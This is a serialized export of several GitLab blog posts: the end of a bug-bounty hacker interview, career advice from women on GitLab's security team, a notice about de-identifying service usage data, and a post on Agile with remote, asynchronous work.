proved to be a viable way to make a living, whilst also giving me the flexibility and time to spend with my family and look after myself.\n#### What types of vulnerabilities do you most enjoy looking for and finding?\nMy favorite bugs to find are failures in the assumptions made when interconnecting complex systems, like:\nAssuming that a localhost bound network socket can’t be accessed by a remote attacker - enter DNS rebinding.\nTrusting a 3rd party not to respond with malicious data - not always the case with content injection or cache poisoning.\nReusing a process or container to process multiple user jobs, fine until an attacker can modify the system.\nI spend my time reviewing source code, reverse engineering binaries and assessing project architecture searching for these false assumptions and attempting to turn them to my advantage.\n\n#### From your perspective, what’s GitLab doing better than anyone else in terms of security?\nI absolutely love the open nature of GitLab, from open source and open documentation, through open issue response and remediation. Openness makes hacking on GitLab much more enjoyable, and much more likely to have critical security issues identified before they can be exploited by a malicious actor.\n\n#### Is there an area of security research you think deserves more attention?\nSupply chain attacks are the hot topic right now, and something we should all be concerned about. When our hundreds of dependencies themselves have hundreds of dependencies, how can we have any measure of confidence in the security of our code?\n\n![xkcd dependency diagram](https://about.gitlab.com/images/blogimages/ajxchapman/xkcd_dependency.png){: .small.center}\n\n_As always there is a relevant XKCD [https://xkcd.com/2347/](https://xkcd.com/2347/)_\n\nThis is already a huge problem, but one without a robust solution (I expect there is a vendor or two who may claim to solve this in their marketing material though). Until a solution can be made freely available to all, this is an area that needs significant open research.\n\n## Tangential targets\n\n#### If you use GitLab frequently, what features do you like the most? Where can we improve?\nI use GitLab for all of my Bug Bounty issue tracking from idea, through discovery, PoC development, report writing and hopefully soon report tracking via the CI/CD pipeline. This means I write in markdown, a lot. Unfortunately I find that GitLab is not very friendly with writing or editing large markdown documents in repos, wikis or issues.\n\nMy writing style means I make multiple edits to issues or wiki pages, and having to scroll through a wall of markdown source to edit a detail half way through a page is really painful. It would be great to see markdown editing become first class in GitLab, or at the very least let me edit only a code block or text under a heading like on Wikipedia.\n\n#### What was the first computer you owned?\nCommodore 64, with the tape drive, hooked up to the lounge CRT TV. Ah, the good old days of waiting, what at the time at least, felt like hours to play Frogger. The kids don’t know how good they have it these days.\n\n#### Gif or Gif? (Gif vs Jif)\nIt’s Gif, and if you think otherwise (yes, even if you wrote and named the standard), I’m sorry to tell you are living a lie. It’s ok we can still be friends though... as long as you change your heathen ways.\n\n#### Have a favorite quote?\n> “It’s not worth doing something unless someone, somewhere, would much rather you weren’t doing it.” -- The late, great Terry Pratchett\n\n\n_We held a live Ask Me Anything (AMA) session with Alex Chapman on March 22, 2021. He fielded a bunch of questions about his research approach and strategy to hacking._\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/Km6toD6CAAw\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n",[674,1938],{"slug":19347,"featured":6,"template":678},"ajxchapman-ask-a-hacker","content:en-us:blog:ajxchapman-ask-a-hacker.yml","Ajxchapman Ask A Hacker","en-us/blog/ajxchapman-ask-a-hacker.yml","en-us/blog/ajxchapman-ask-a-hacker",{"_path":19353,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":19354,"content":19360,"config":19364,"_id":19366,"_type":16,"title":19367,"_source":17,"_file":19368,"_stem":19369,"_extension":20},"/en-us/blog/considering-a-career-in-security",{"title":19355,"description":19356,"ogTitle":19355,"ogDescription":19356,"noIndex":6,"ogImage":19357,"ogUrl":19358,"ogSiteName":1180,"ogType":1181,"canonicalUrls":19358,"schema":19359},"Considering a career in security? Here’s some advice.","Eight team members from our Security department talk about what they've learned working in Tech and what advice they’d offer to someone considering a career in security.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670859/Blog/Hero%20Images/woctech-photo7.jpg","https://about.gitlab.com/blog/considering-a-career-in-security","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Considering a career in security? Here’s some advice.\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Heather Simpson\"}],\n        \"datePublished\": \"2021-03-04\",\n      }",{"title":19355,"description":19356,"authors":19361,"heroImage":19357,"date":19343,"body":19362,"category":18484,"tags":19363},[12307],"\n\n{::options parse_block_html=\"true\" /}\n\n\n\nThis is post 3 of a 3 part series profiling several women in GitLab’s security organization.  See part [one](/blog/breaking-into-security/) and [two](/blog/whats-it-like-to-work-security-at-gitlab/).\n{: .note}\n\n_Breaking into technology, and security, can be difficult for anyone. At GitLab [31% of our workforce identifies as women](/handbook/people-group/people-success-performance-indicators/#diversity---women-at-gitlab). In our security department we have ten team members who are women out of a total of 48 team members; that’s 21%.  Global women in tech numbers are around 21.4% according to [CNET](https://www.cnet.com/news/microsofts-first-in-depth-diversity-report-shows-progress-remains-slow/) and this recent study, [“Resetting Tech Culture”](https://www.accenture.com/us-en/blogs/accenture-research/why-tech-is-losing-women-just-when-we-need-them-the-most) indicates that young women who go into tech drop out by the age of 35.  How do we change this?  GitLab is looking to help there through our [outbound hiring model](/handbook/hiring/candidate/faq/), [tracking and working toward key metrics](/handbook/people-group/people-success-performance-indicators/#diversity---women-in-management), [inclusion training](/company/culture/inclusion/#diversity-inclusion--belonging-training-and-learning-opportunities), [team member resource groups](/company/culture/inclusion/erg-guide/#how-to-join-current-tmrgs-and-their-slack-channels), Engineering department-based developmental and networking groups (like our [Women in Security group](/handbook/security/women-in-security.html)), building and fostering an [inclusive remote culture](/company/culture/inclusion/building-diversity-and-inclusion/) and [mentorship programs](/company/culture/inclusion/erg-minorities-in-tech/mentoring/)._\n\nThrough this series, we’ve discussed the [different paths our team members have taken to get into security and tech](/blog/breaking-into-security/), the actual [projects and initiatives they’ve developed, managed and/or implemented at GitLab](/blog/whats-it-like-to-work-security-at-gitlab/), as part of our security team, and their advice to others looking to break into security and take on similar roles.\n\nIn this last blog in our three part series, our team members talk about how they stay motivated and engaged to take on that next challenge, and each one offers up a bit of advice or learnings across different areas like:\n* How to embrace risk taking\n* Starting your career off right in security\n* Learning from the past\n* Whether (or not) you should apply to roles where you may not meet 100% of the qualifications (we’ll cut to the chase on this one ⇒ **YES, do it!**)\n\n\n---\n\n\n### [Julia Lake](/company/team/#julia.lake) - [Director, Security Risk and Compliance](https://handbook.gitlab.com/job-families/security/security-leadership/)\nJoined GitLab April 2020 / Connect with Julia on [LinkedIn](https://www.linkedin.com/in/julia-lake-16843740/)\n\n![Your image alt text](https://about.gitlab.com/images/blogimages/security-career-advice/jlake_blog3.png){: .shadow.small.left.wrap-text}\n\n**What is the most interesting thing you’ve learned about security thus far?**\nThat security, and specifically security compliance, is a business enabler and not a business inhibitor. This is true across the board, but especially true for SaaS providers where customers are trusting us with their highly sensitive data. Implementing strong security practices enables all other aspects of the business to grow. The biggest opportunity security leaders have is making this value proposition clear to the rest of the organization.\n\n**What advice do you have to embrace risk-taking?**\nFrom a business perspective, it's important to determine the [risk appetite and risk tolerance](https://www.isaca.org/resources/news-and-trends/newsletters/atisaca/2020/volume-8/tips-for-setting-or-evaluating-risk-appetite) of the organizational leaders and align your operations accordingly. Risk appetite and tolerance can change as organizations grow and mature, so I recommend measuring both on a minimum of an annual basis.\n\nFrom a personal perspective, I always try to operate with a higher risk appetite, which to me means saying yes to new projects and opportunities - especially those I’m uncomfortable with. This allows me to continue to grow my professional skill set. You never have to be a perfect fit for a new role, but you do have to have the capability and experience to be able to execute on the strategic objectives of that role. I highly recommend this TEDtalk about [taking small risks to increase your luck](https://www.ted.com/talks/tina_seelig_the_little_risks_you_can_take_to_increase_your_luck).\n\n\n### [Jennifer Blanco](/company/team/#jblanco2) - Sr. Risk and Field Security Engineer\nJoined GitLab June 2019 / Connect with Jennifer on [LinkedIn](https://www.linkedin.com/in/jenniferblanco1/)\n\n![Your image alt text](https://about.gitlab.com/images/blogimages/security-career-advice/jblanco_blog3.png){: .shadow.small.right.wrap-text}\n\n**What is the most interesting thing you’ve learned about security and tech thus far?**\nUnderstanding the power (and danger) of data. I had exposure to aspects of consumer law during my days as a paralegal, but working in security has put data security, and my understanding of it, in a whole new light. Data can easily be collected through our everyday smart devices, and many companies are harvesting this information. The best advice I share with people who want to increase their awareness is to employ a general and healthy skepticism of companies; specifically around ways they can impose on privacy. Once you have the details, you can make an informed decision by looking at the costs and benefits carefully so that you can feel confident about your choices.\n\n**Was there ever a role you applied for and landed, but weren't 100% qualified to do?**\nMy first job in Security Compliance was the largest leap for me because I had to learn about software models in addition to the technology industry as a whole. It was exciting but also overwhelming because there was so much to understand and the information was not always easy to glean. I invested a lot of study time and immersion into compliance frameworks, as well as in-person training courses, including a hands-on penetration workshop. It took two years before I was confident that I had the whole picture; though this changes with the industry landscape as there are so many aspects that can affect our line of work. Learning how to work with git and remote repositories at GitLab was the next biggest challenge and the one I’m most proud of! I never imagined having ‘Engineer’ in my title, so I’m motivated to continue pushing myself to see what I can do next.\n\n\n### [Juliet Wanjohi](/company/team/#jwanjohi) - [Security Engineer, Security Automation](https://handbook.gitlab.com/job-families/security/security-automation/#security-engineer-automation-intermediate)\nJoined Joined GitLab May 2020 / Connect with Juliet on [LinkedIn](https://www.linkedin.com/in/juliet-wanjohi/) and [Twitter](https://twitter.com/jay_wanjohi)\n\n![Your image alt text](https://about.gitlab.com/images/blogimages/security-career-advice/jwanjohl_blog3.png){: .shadow.small.left.wrap-text}\n\n**What is the most interesting thing you’ve learned about security thus far?**\nSecurity is a team effort and a shared responsibility. We are now connected more than ever before, therefore we need to approach security with a proactive mindset, starting individually by making sure that each one of us is taking the necessary precautions and following best practices to avoid risk. At an organizational level, no security team carries the entire burden of security alone and this is quite evident here at GitLab where we collaboratively work across our respective security teams to enhance the overall security posture of the company and the product. As we build in the necessary tooling and processes to be secure, we must remember that security is a never-ending journey, not a destination!\n\n**What advice would you give to someone just starting out in the security and tech industry?**\nThere’s no shortage of problems to be solved in the security industry. Every day there’s a new type of cyber threat and with this, comes along the creation of new and innovative career opportunities to solve these problems. In order to find your place in this cog wheel, you need to be curious and willing to explore the different options within the field and see what interests you the most. The next step is to be proactive in acquainting yourself with this area and start to pick up the necessary knowledge and skills to make you an industry expert. Surround yourself with other security professionals who can contribute positively towards your career growth. It’s also important that you work towards being a T-shaped individual where you have deep expertise in your chosen area of interest but also a breadth of knowledge in other areas in the security field.\n\n\n### [Liz Coleman](/company/team/#lcoleman) - [Sr. Security Compliance Engineer](https://handbook.gitlab.com/job-families/security/security-compliance/#senior-security-compliance-engineer)\nJoined GitLab January 2020 / Connect with Liz on [LinkedIn](https://www.linkedin.com/in/elizabeth-coleman-5779418b/)\n\n![Your image alt text](https://about.gitlab.com/images/blogimages/security-career-advice/lcoleman_blog3.png){: .shadow.small.right.wrap-text}\n\n**What is the most interesting thing you’ve learned about security thus far?**\nOne of the most interesting things I’ve learned is that security is an all-inclusive team sport. There are so many layers to security from individuals, general governance, information system security, IT security and the list goes on. Each layer consists of networks of people and processes, all of which have some type of underlying security theme. Security is a consideration and holds a level of importance to everyone and every role in an organization, but in slightly different ways. The great thing about this is that security can be a commonality that can bring people together and be leveraged across all layers of an organization. Its strength lies in its ability to be all-inclusive and everyone’s invited to play the game.\n\n**What advice would you give to someone just starting out in the security or tech industry?**\nJust starting out in the security or tech industry can be intimidating. There are so many certifications and paths available that it can be hard to find a place to start. One thing I found very helpful when starting out was to research where I wanted to go. I turned to my colleagues, professional network and leadership and looked at the certifications and education they had. Linkedin is an open book of information that outlines individual accomplishments. I saw my manager at the time had a [Certified Information System Auditor](https://www.isaca.org/credentialing/cisa) certification. So I started there. Then came the [Certified Information System Security Professional certification](https://www.isc2.org/Certifications/CISSP) which I found to be a common certification held by individuals who had similar professional and career interests. Each certification takes time, effort and costs money to obtain, so being strategic is key. Investigate your options and identify a path based on your interests. See what other professionals have from a knowledge or certification standpoint and go for it!\n\n\n### [Meghan Maneval](/company/team/#mmaneval20) - Manager, Risk and Field Security\nJoined GitLab July 2020 / Connect with Meghan on [LinkedIn](https://www.linkedin.com/in/meghanmaneval/)\n\n![Your image alt text](https://about.gitlab.com/images/blogimages/security-career-advice/mmaneval_blog3.png){: .shadow.small.left.wrap-text}\n\n**What is the most interesting thing you’ve learned about security and technology thus far?**\nI remember when I was just graduating from college and applying for jobs in technology, thinking I was going to come in and be the hot-shot young intern who would make a huge impact. What actually happened was I realized just how little I really knew about technology and security in the real world! What I’ve learned over the years is that it doesn’t matter how much you know about technology or security in general or from a textbook, what matters is how your company applies those concepts. Security controls and methodologies can be applied in millions of different ways! I love meeting with our customers and third parties and seeing all the unique ways they apply and utilize security and technology principles.\n\n**What's a difficult situation you've had to overcome, professionally?**\nIf you ask my kids they will roll their eyes and tell you that my motto in life is “you learn more from the bad stuff than the good.” And I believe that is true in most situations. I’ve found myself in a few bad situations throughout my career and truly believe I have come out of it a better person. In a prior role, as an auditor, I had identified potentially fraudulent activity within the organization’s Human Resources department. When I reported the information to the auditee in my draft report, she decided to go to the organization’s board and have me removed from my position. While I knew that I had done the right thing, it crushed me and made me rethink my desire to stay in the compliance field. However, after taking time to reflect I realized that going through this actually made me a better auditor, a better compliance specialist, and a better employee. I also realized at that point that I wanted to focus less on organizational risk and more on security. I took a job as an auditor for a software company and my career has blossomed since. So always remember- you learn more from the bad stuff than the good and staying true to your values and instincts will ultimately keep you on the right path!\n\n\n### [Mitra Jozenazemian](/company/team/#mjozenazemian) - Senior Security Engineer, [Security Incident Response Team](https://handbook.gitlab.com/job-families/security/security-engineer/#sirt---security-incident-response-team)\nJoined GitLab July 2020 / Connect with Mitra on [LinkedIn](https://www.linkedin.com/in/mitra-jozenazemian-0a05233b)\n\n![Your image alt text](https://about.gitlab.com/images/blogimages/security-career-advice/mjozenazemian_blog3.png){: .shadow.small.right.wrap-text}\n\n**What excites you about working in security?**\nI love challenges and being challenged. We all know there is no network that is 100% secure and it is a matter of time, money and effort for an attacker to be able to gain access to almost any network. So, the challenges in security are ever-present. As a security engineer, you constantly need to think about how to prevent attackers from being able to access your network and if they *are* able to get in; how you can detect and stop them, as quickly as possible.\n\n**What do you wish you had known at the start of your career that you know now?**\nReally, I wish I knew all the things I know today back then. Wait...is that not possible?\n\nOk, if I have to choose *just* one thing I would say: I wish, at any given time in my career, that I would have all the answers to how the security team should best collaborate with colleagues in other teams so that they feel security is there to enable and protect their work, not stop them from doing their job.\n\n\n### [Rupal Shah](/company/team/#rcshah) - [Security Compliance Engineer](https://handbook.gitlab.com/job-families/security/security-compliance/#security-compliance-engineer-intermediate)\nJoined GitLab October 2020 / Connect with Rupal on [LinkedIn](https://www.linkedin.com/in/rupal-shah-57a384/)\n\n![Your image alt text](https://about.gitlab.com/images/blogimages/security-career-advice/rshah_blog3.png){: .shadow.small.left.wrap-text}\n\n**What excites you about working in security?**\nSecurity is ever-changing and impacts everyone! Changes in one area of the business can quickly impact another area and so, everyone must work together to maintain security. This allows me to constantly be learning about other parts of the business that I might not regularly get to be involved with. Things can change at the blink of an eye, but I always feel challenged to keep learning and never have the feeling of being bored.\n\n**Was there ever a role you applied for and landed, but weren't 100% qualified to do?**\nI feel that way about every role I have ever had. Including this one..haha.  However, I think that’s a good thing, otherwise I’d get bored, be unmotivated and leave too soon! In a previous role, I had no background in security, but my manager saw something special in me, took a chance on me and that changed my world. I’m so happy that opportunity came into my life. I think the most important thing is to feel confident in yourself, knowing others already feel that way about you and see something special in you.  As long as you keep a positive, can-do attitude, you can achieve anything you set your mind to.  Just remember, you have to start somewhere and what better time than now!  Anytime I feel unsure, I remember how far along I have come and know how much more I have to learn and keep a positive attitude.\n\n\n### [Heather Simpson](/company/team/#heather) - [Senior External Communications Analyst](https://handbook.gitlab.com/job-families/security/security-analyst/#external-communications)\nJoined GitLab February 2019 / Connect with Heather on [LinkedIn](https://www.linkedin.com/in/heathersimpson700/) and [Twitter](https://twitter.com/heatherswall)\n\n![Your image alt text](https://about.gitlab.com/images/blogimages/security-career-advice/hsimpson_blog3.png){: .shadow.small.right.wrap-text}\n\n**What excites you about working in security or tech?**\nThe nature of the beast that is tech, is that it's ever-changing and evolving. Meaning you’ve got to continually learn new tools, sharpen your skills and freshen your approach to problems.  As a marketing communications professional in the industry this means I need to continue throwing myself into new concepts and tools and pushing myself out of my comfort zone. This has meant that I’ve gotten comfortable with “trying things to see if they’ll work” and holding my breath as I type commands into my terminal 🤣;  knowing that my Google skills are just as good as the next person’s.🤷‍♀️ Thankfully, being a “connector of dots”, as many in marketing are, means I work across the organization and know who will graciously help me dig myself out of a “command gone wrong”.  Working in Tech means I’ll never know all the things (and won’t ever get close) so I’ll always have challenges to overcome and new things to learn; and that’s what keeps me going.\n\n\n**Was there ever a role you applied for and landed, but weren't 100% qualified to do?**\nYes, almost all of them. This one included. When I’d applied to GitLab I’d worked in tech for over 10 years, but had almost no experience in devops, and little experience in security (I spent 2 years as a portfolio marketing manager for a large enterprise tech integrator). However, I’m really motivated by new challenges, LOVE building new programs and have a can-do attitude. I think these are common traits of many team members here at GitLab and my hiring manager at the time saw this in me.\n\nEarly in my career, I moved into a new job and only stayed there for 2 months. I knew within the first week I’d be bored out of my mind because I wasn’t challenged.  I’m not proud of having taken a job only to stay for a few months, but this goes to show that, it's better to have a role where you have to “grow into it” than one where you’ve already been there, done that.  For me, the recipe for success in almost any role or project is a combination of “believe (in you/your skills/your expertise) and achieve”, mixed with heaps of research, planning and doing. Believe that you’ve got the “stuff” to get the job done, figure out the best way to do it and then knock it out of the park! 🚀\n\n## Interested in a career in security or tech? We're hiring!\nYou can check out the [career opportunities page](/jobs/). Don't meet 100% of the qualifications for one of the roles listed there? Still share your information with us! We're hiring within our Security department (and beyond) and looking for unique backgrounds and expertise. You can also learn more about GitLab’s [culture](/company/culture/) and [values](https://handbook.gitlab.com/handbook/values/) in order to get an understanding of what it might be like to work here!\n\n\nCover image by [#WOCinTech Chat](https://www.wocintechchat.com/).\n{: .note}\n",[674,676],{"slug":19365,"featured":6,"template":678},"considering-a-career-in-security","content:en-us:blog:considering-a-career-in-security.yml","Considering A Career In Security","en-us/blog/considering-a-career-in-security.yml","en-us/blog/considering-a-career-in-security",{"_path":19371,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":19372,"content":19377,"config":19382,"_id":19384,"_type":16,"title":19385,"_source":17,"_file":19386,"_stem":19387,"_extension":20},"/en-us/blog/gitlab-plans-to-de-identify-service-usage-data",{"title":19373,"description":19374,"ogTitle":19373,"ogDescription":19374,"noIndex":6,"ogImage":12013,"ogUrl":19375,"ogSiteName":1180,"ogType":1181,"canonicalUrls":19375,"schema":19376},"GitLab solicits input on its plans to de-identify service usage data","To better protect our users' data, we are building our own internal system that de-identifies userIDs and other personal information prior to being moved into our internal analytics environment.","https://about.gitlab.com/blog/gitlab-plans-to-de-identify-service-usage-data","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab solicits input on its plans to de-identify service usage data\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Keanon O’Keefe\"}],\n        \"datePublished\": \"2021-03-04\",\n      }",{"title":19373,"description":19374,"authors":19378,"heroImage":12013,"date":19343,"body":19380,"category":736,"tags":19381},[19379],"Keanon O’Keefe","\n\n## What isn’t changing\n\nNo changes are being made to the policy on service usage data collection from SaaS or Self-Managed customers at this time.\n\n## What is changing\n\n- Further limit [access levels](https://gitlab.com/gitlab-org/product-intelligence/-/issues/430) to a smaller number of individuals with access to identifiable information. \n- Introduction of a [new system to de-identify users](https://gitlab.com/groups/gitlab-org/-/epics/5248) and other personal information from multi-user instances before the information lands in [GitLab’s analytics environment](/handbook/product/product-intelligence-guide/#systems-overview). This will allow GitLab to roll up more aggregated, de-identified user-level activity at the account level.\n\n## De-identification isn’t perfect\n\nWhile we will be de-identifying userID and PI, there is a gap for single user namespaces. If a namespace only has a single user, there is potential for them to be linked to that account directly, even after de-identification. We will continue to investigate a solution to this.\n\n## Timeline and implementation\n\nWe will collect input on design and implementation over the next 30 days in the [GitLab Community Forum](https://forum.gitlab.com/t/gitlab-is-soliciting-input-on-plans-to-de-identify-service-usage-data/49705). We plan to implement these changes starting in June 2021. \n\n## More information\nPlease find more information about our [privacy policy](/privacy/). Further details on how service usage data is used for product improvement can be found on our [Product Direction page](/direction/analytics/product-intelligence/). Also see [GitLab’s analytics environment](/handbook/product/product-intelligence-guide/#systems-overview).\n",[736],{"slug":19383,"featured":6,"template":678},"gitlab-plans-to-de-identify-service-usage-data","content:en-us:blog:gitlab-plans-to-de-identify-service-usage-data.yml","Gitlab Plans To De Identify Service Usage Data","en-us/blog/gitlab-plans-to-de-identify-service-usage-data.yml","en-us/blog/gitlab-plans-to-de-identify-service-usage-data",{"_path":19389,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":19390,"content":19396,"config":19401,"_id":19403,"_type":16,"title":19404,"_source":17,"_file":19405,"_stem":19406,"_extension":20},"/en-us/blog/agile-for-remote-work",{"title":19391,"description":19392,"ogTitle":19391,"ogDescription":19392,"noIndex":6,"ogImage":19393,"ogUrl":19394,"ogSiteName":1180,"ogType":1181,"canonicalUrls":19394,"schema":19395},"How async and all-remote make Agile simpler","Engineers at GitLab and IssueTrak share their tips on adopting Agile while working remotely.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681930/Blog/Hero%20Images/runlanes.jpg","https://about.gitlab.com/blog/agile-for-remote-work","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How async and all-remote make Agile simpler\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sara Kassabian\"}],\n        \"datePublished\": \"2021-03-02\",\n      }",{"title":19391,"description":19392,"authors":19397,"heroImage":19393,"date":19398,"body":19399,"category":6634,"tags":19400},[17272],"2021-03-02","\n\nWhether you have the [Agile manifesto](https://agilemanifesto.org/) memorized or thought agility was a sport for dogs, there are a few core principles that engineers and non-engineering folks can adopt to improve communication, collaboration, and efficiency in their work – whether or not they’re working from the same office.\n\nInterestingly, the first piece of advice GitLab team members shared for engineers (or content developers) using Agile or working remotely is the same: Over-communicate!\n\n\"Provide maximum context in discussions and document the outcomes in the most appropriate location,\" says [Lindsay Kerr](/company/team/#lkerr), frontend engineering manager for Threat Management at GitLab. \"This allows other members of the team to benefit from synchronous conversations while giving stakeholders insight into the progress of the team.\"\n\n## How Agile keeps development lean\n\n[Agile software development](/topics/agile-delivery/) is all about developing solutions through collaboration and iteration, with some of the techniques being stand-ups, sprints, and more. Another key principle of Agile: Making processes more lean.\n\nDuring our annual user conference [GitLab Commit](https://www.youtube.com/watch?v=t8BvRMalbkM&list=PLFGfElNsQthYQaTiUPQcu4O0O20WHZksz&index=10), the software company [IssueTrak](https://www.issuetrak.com/) explained how migrating to GitLab helped the company embrace Agile software development. Before, IssueTrak was using five tools to manage their ticketing and repositories and power their [CI/CD pipelines](/solutions/continuous-integration/), at a substantial monthly cost. After IssueTrak migrated to GitLab, they reduced their monthly costs by 80% and simplified their toolchain by adopting GitLab for all their software development needs. You can [read more about their experience below](#how-two-teams-use-sprints-with-gitlab).\n\n### Why all-remote and Agile pair well together\n\nGitLab has embraced the principles of Agile software development in two key ways. The first way we've built agility and efficiency into our culture is by embracing all-remote, asynchronous work. By working remotely, team members can work when they want and in places and spaces that best suit them. Remote work has become more widely adopted since the COVID-19 pandemic has disrupted the traditional office, explains [Lauren Barker](/company/team/#laurenbarker), fullstack developer working on the Website.\n\nRemote work is a simple concept to grasp, but asynchronous (async) work is a bit more complicated. At GitLab, working async looks like optional meetings with detailed agendas and Slack channels are busy but without the pressure of an immediate reply. Zoom meetings are recorded and posted on the [GitLab Unfiltered channel](https://www.youtube.com/channel/UCMtZ0sc1HHNtGGWZFDRTh5A), which supports our commitment to transparency and breaks down silos by improving communication across teams.\n\n\"Working asynchronously enables an individual to contribute when they’re 'on',\" says Lauren. \"Sometimes you’re feeling super productive and motivated on a certain project at 2 AM, not during normal business hours such as 9-5.\"\n\nThe core of effective async, all-remote, and Agile workflows is documentation. By clearly defining project scope and needs in writing, processes are easy to follow and replicable for all users. At GitLab, perhaps the most important rule of all is our [handbook-first principle](/company/culture/all-remote/handbook-first-documentation/), which states that our handbook is the single source of truth in the organization and challenges team members to document everything. [Tyler Williams](/company/team/#tywilliams), website fullstack developer at GitLab, discussed the value he’s derived from the handbook-first mentality at a [recent Inbound Marketing team meeting](https://www.youtube.com/watch?v=qhsdwlqvuN4&list=PL05JrBw4t0KrurHzoPhov77x3_P26Ncz1) and said that handbook-first coupled with async work is what powers Agile for him.\n\n## Insights on remote team building with Agile\n\nTyler and Lindsay both acknowledge it can be challenging to build team camraderie remotely when applying Agile principles like stand-ups when you're not in-person.\n\n\"It is easier to implement the human-connectivity pieces of an Agile mindset when you are in person,\" says Tyler. \"It is easier to implement the process-focused pieces of Agile techniques when you are all-remote and asynchronous.\"\n\n\"Distance can remove people from consequences,\" adds Brandon. \"A bad manager could drop a project on you, turn off remote messaging, and go on vacation. I've experienced this at previous workplaces.\"\n\nBut working alongside humans in the same space isn’t always an upside. In-person work can make personality clashes more commonplace, says Lindsay.\n\n### Remembering when Agile was analog\n\nBefore project management tools like Jira and GitLab, scrum teams had to plan sprints manually using things like post-its, index cards, and white boards. While this analog approach to sprint planning can be good for team-building, it was less efficient in the long-run.\n\n\"When I started working on scrum teams in 2008 we actually stood up together in a room during stand-up. We looked at post-it notes (tasks) associated with index cards (stories) when discussing the answers to our three questions (what did I do yesterday, what am I doing today, and what is blocking me),\" says Lindsay.\n\n\"We used an egg-timer to make sure our stand-up didn't go longer than 10 minutes each day. I drew our burndown on paper each day, across every two-week sprint, for the course of a three-month project. We looked each other in the eyes when we gave our answers, watched our teammates move the post-it note from 'to-do' to 'in progress', and celebrated together when a post-it moved to the 'done' column.\"\n\nIt is hard to document progress using the analog approach to sprint planning. When one team member is out sick or on vacation, they lose the historical context of a project as post-its move columns, and meetings happen without thorough notes or recordings.\n\n\"In an office setting, it may be easier to adopt the human-focused mindset, but it is much more challenging to adopt appropriate processes to keep Agile techniques running, and it is a much less enjoyable endeavor to coach people around process,\" says Tyler.\n\n### GitLab is designed for Agile\n\nThe other way we've embraced Agile principles at GitLab: [we've baked many Agile artifacts into different features of our DevOps Platform](/blog/gitlab-for-agile-software-development/) such as issues, labels, milestones, and weights, etc. \"These words seem somewhat abstract but they are all different ways to help you categorize and organize information to help you work agilely,\" explains [Brandon Lyon](/company/team/#brandon_lyon), frontend engineer for Marketing at GitLab.\n\nThese Agile features coupled with robust CI/CD help us keep GitLab lean and allow _our customers_ to continuously deliver software to _their customers_.\n\n\"If the main point of Agile is to continuously deliver working software as value to customers, GitLab enables teams to be Agile because it has the best CI/CD tools I've ever used, and they're integrated directly in my day-to-day task management workflow,\" says Tyler.\n\n## How two teams use sprints with GitLab\n\nIn their GitLab Commit presentation, IssueTrak team members Lisa Cockrell, director of development, and Jordan Upperman, fullstack developer, said that they created two custom issue boards using GitLab, one of which is the \"Ready for Sprint\" column and board. Sprint planning meetings are much shorter now because the team can just look at the \"Ready for Sprint\" board to identify which issues are ready to enter the development process.\n\n\"Our use of these two Kanban boards allows us to pivot with ease when necessary. As bugs are found during testing it's easy for us to quickly weigh the new ticket, remove an item with equal weight, and send it back to the top of the 'Ready for Sprint' column,\" says Lisa. She explains that this process prevents scope creep and helps stakeholders remember that when work is added to the sprint, something else must come out. Watch the entire presentation to learn more about how IssueTrak uses GitLab tools for Agile development:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/t8BvRMalbkM\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nBrandon, Tyler, and Lauren all work on the [Digital Experience team at GitLab](/handbook/marketing/digital-experience/), which is responsible for our marketing website. In the spirit of iteration and efficiency (two of our values at GitLab), the team is in the process of updating the way they conduct sprints. Tyler [opened an MR to facilitate the discussion](https://gitlab.com/gitlab-com/www-gitlab-com/-/merge_requests/74534) – share your tips for sprints by commenting on the MR or suggesting a change.\n\nWe are constantly looking for new strategies to communicate and engineer with clarity and efficiency. If you have any suggestions for how to better embrace Agile, async, and all-remote work, let us know in the comments or tweet at us @GitLab. If you are still new to this topic, our advice is to try and go with the flow, and leave your expectations at the door.\n\n\"If you keep in mind that Agile is a flexible, human-focused approach to knowledge work and delivering value to customers, the rest will fall in place,\" says Tyler. \"Take strong opinions with a grain of salt, and give yourself room to make mistakes and remember that [it's impossible to know everything](https://handbook.gitlab.com/handbook/values/#its-impossible-to-know-everything).\"\n",[1899,3798,676],{"slug":19402,"featured":6,"template":678},"agile-for-remote-work","content:en-us:blog:agile-for-remote-work.yml","Agile For Remote Work","en-us/blog/agile-for-remote-work.yml","en-us/blog/agile-for-remote-work",{"_path":19408,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":19409,"content":19415,"config":19420,"_id":19422,"_type":16,"title":19423,"_source":17,"_file":19424,"_stem":19425,"_extension":20},"/en-us/blog/ceo-shadow-takeaways-from-barker",{"title":19410,"description":19411,"ogTitle":19410,"ogDescription":19411,"noIndex":6,"ogImage":19412,"ogUrl":19413,"ogSiteName":1180,"ogType":1181,"canonicalUrls":19413,"schema":19414},"CEO Shadow Takeaways From Barker","GitLab is going places because we are a strong team founded on GitLab CREDIT values.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684216/Blog/Hero%20Images/barker.jpg","https://about.gitlab.com/blog/ceo-shadow-takeaways-from-barker","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"CEO Shadow Takeaways From Barker\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Lauren Barker\"}],\n        \"datePublished\": \"2021-02-26\",\n      